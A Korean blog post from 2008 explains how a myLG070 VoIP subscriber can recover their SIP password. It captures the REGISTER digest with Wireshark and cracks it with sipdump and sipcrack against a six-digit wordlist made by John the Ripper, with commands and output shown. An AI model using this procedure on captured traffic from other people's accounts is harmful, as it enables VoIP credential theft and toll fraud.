2008.11.26 23:42

myLG070 SIP 계정 확인하는 법


myLG070을 사용하시는 분들 중 상당수가 SIP를 알아내어 다른 전화기에 넣어 사용하거나 x-lite와 같은 별도의 소프트웨어에서 사용하기를 원합니다. 저는 아이팟에서 사용하기를 원하는데요, 불행히도 myLG070에서는 정책적으로 SIP계정을 고객에게 알려주지 않습니다. 아니 왜? 뭥미? 뭐 어쨌든 그렇다고 가만히 있을 우리가 아니죠. s(-_-)z


[ SIP 계정 확인하는 법 ]
아래에 나오는 0707555134는 제 전화번호가 아닙니다. 그러니 전화하셔도 소용없습니다 ^^; 그리고 이 방법은 myLG070이 아닌 다른 VoIP 서비스에서도 사용이 가능합니다. 부디 다른 사람의 SIP 계정을 훔치거나 하는 것과 같은 악의적인 목적으로는 절대 사용하지 마시길 바랍니다.

가장 먼저 해야할 것은 Wireshark와 같은 패킷 캡쳐 툴을 이용하여 myLG070 전화기의 REGISTER 패킷을 캡쳐하는 것이다. 그리고 캡처한 파일은 파일로 저장하도록 하자. 패킷 뜨는 것도 따로 설명을 해야 할까요? 흠;; -_-; 패스
위의 빨간 상자로 표시한 부분이 Proxy 이다. 이건 각자 다른 것 같으므로 잘 확인하자.

REGISTER 패킷 내용을 확인하면 SIP와 비밀번호의 MD5 Hash를 확인할 수 있다.
REGISTER sip:lgdacom.net SIP/2.0
From: "07075551234"<sip:7075551234@lgdacom.net>;tag=de8910-aa64a8c0-13c4-4923588a-16533ee-4923588a
To: "07075551234"<sip:7075551234@lgdacom.net>
Call-ID: 40600d88-aa64a8c0-13c4-49235889-56954070-49235889
CSeq: 2 REGISTER
Via: SIP/2.0/UDP 192.168.100.170:5060;branch=z9hG4bK-4923588b-b211e212-214891f4
Max-Forwards: 70
Supported: replaces, 100rel
Contact: <sip:7075551234@192.168.100.170:62113;maddr=211.177.110.195>
Proxy-Require: com.nortelnetworks.firewall
User-Agent: WPN-480H-v1.1.72
x-nt-GUID: 6b365a861dd211b29dc2bb5e5dbe747a
Expires: 3600
Proxy-Authorization: Digest username="7075551234",realm="Realm",nonce="MTIyNzAyMDc1MTExNjNiY2QxZGUwZTM2OWIzMDJiNzhhNWI2NW
UwYTc3Mzk1",uri="sip:lgdacom.net",response="e5969xxxxxxc676c4301c5xxxxxxe990",algorithm=MD5,
cnonce="b211e213",qop=auth,nc=00000001
Content-Length: 0


원래 MD5 Hash는 역함수가 존재하지 않는다. 따라서 비밀번호를 알기 위해서는 브루트 포스(Brute Force)로 비밀번호를 생성한 후 일일이 해시와 비교하여 맞는지 확인하여야만 한다. 어~우 아마 여기서부터 머리가 슬슬 아파지기 시작할 것이다. 그러나 너무 걱정하지는 말자. 이미 누군가가 이 것을 해주는 프로그램을 만들어 놓았다. 우리는 그 것을 잘 이용하기만 하면 된다.

[준비물]
아래의 프로그램들을 실행하기 위한 Linux 환경. 필자는 Ubuntu 사용.
http://www.remote-exploit.org/codes/sipcrack/SIPcrack-0.2.tar.gz
http://www.openwall.com/john/g/john-1.7.3.1.tar.gz

위 프로그램들을 설치하는 방법은 생략하도록 한다. 해보면 그리 어렵지 않다. (뭥미? -_-; 사실 설명하기 귀찮다.)

john-1.7.3.1을 설치하고 아래와 같이 패스워드 목록을 생성한다.
notepad@notepad:~/SIP/john-1.7.3.1/run# ./john --incremental=digits --stdout=6 > 6digits.txt
최근에 myLG070에 가입한 경우는 비밀번호가 숫자 6자리가 아닐 수 있다고 한다. 어떠한 문자 조합을 사용하고 그 길이는 어떻게 되는지 모르겠습니다. 구글링 해봐도 이 정보는 알 수가 없네요. 만약 영문자 대소 + 특수문자 + 숫자 + 12자리면 대략 난감;

역시 마찬가지로 SIPcrack-0.2를 설치하고 맨 처음 파일로 저장한 패킷 캡처 파일을 SIPcrack-0.2 폴더로 복사해 넣는다. 그리고 sipdump를 이용하여 필요한 부분만 덤프를 받도록 한다.
notepad@notepad:~/SIP/SIPcrack-0.2$ ./sipdump -p mylg070.pcap 070.dump

SIPdump 0.2  ( MaJoMu | www.codito.de )
---------------------------------------

* Using pcap file 'mylg070.pcap' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 210.207.255.44 -> 192.168.0.30 (User: '7075551234')

* Exiting, sniffed 1 logins

이제는 앞서 john-1.7.3.1으로 생성했던 6digits.txt 파일을 패킷 캡처 파일과 마찬가지로 SIPcrack-0.2 폴더로 복사하고 아래와 같은 명령어를 입력하여 sipcrack을 실행한다.
notepad@notepad:~/SIP/SIPcrack-0.2$ ./sipcrack -w 6digits.txt 070.dump

SIPcrack 0.2  ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num     Server          Client          User    Hash|Password

1       192.168.0.30    210.207.255.44  7075551234      e5969xxxxxxc676c4301c5xxxxxxe990

* Select which entry to crack (1 - 1): 1
* Password already cracked: '123456'
크랙을 원하는 항목을 선택하고 잠시 기다리면 위와 같이 패스워드가 '툭' 튀어나온다. 필자의 경우 2초도 채 걸리지 않았다.

비밀번호를 알아내고 나니 정말 허무하네요. VoIP의 보안이 얼마나 취약한지 알 수 있습니다. 공개된 장소에서의 VoIP 사용은 자제해야겠다는 생각만 자꾸드네요. 거듭 말씀드리지만 악의적인 목적으로는 이용하지 말아주시기 바랍니다.



'Etc' 카테고리의 다른 글

야후! 퍼플 이벤트  (0) 2009.11.24
MBTI 검사를 해보자  (0) 2009.04.01
myLG070 SIP 계정 확인하는 법  (5) 2008.11.26
Biggest MD5 crack databases  (0) 2008.11.21
Trackback 1 Comment 5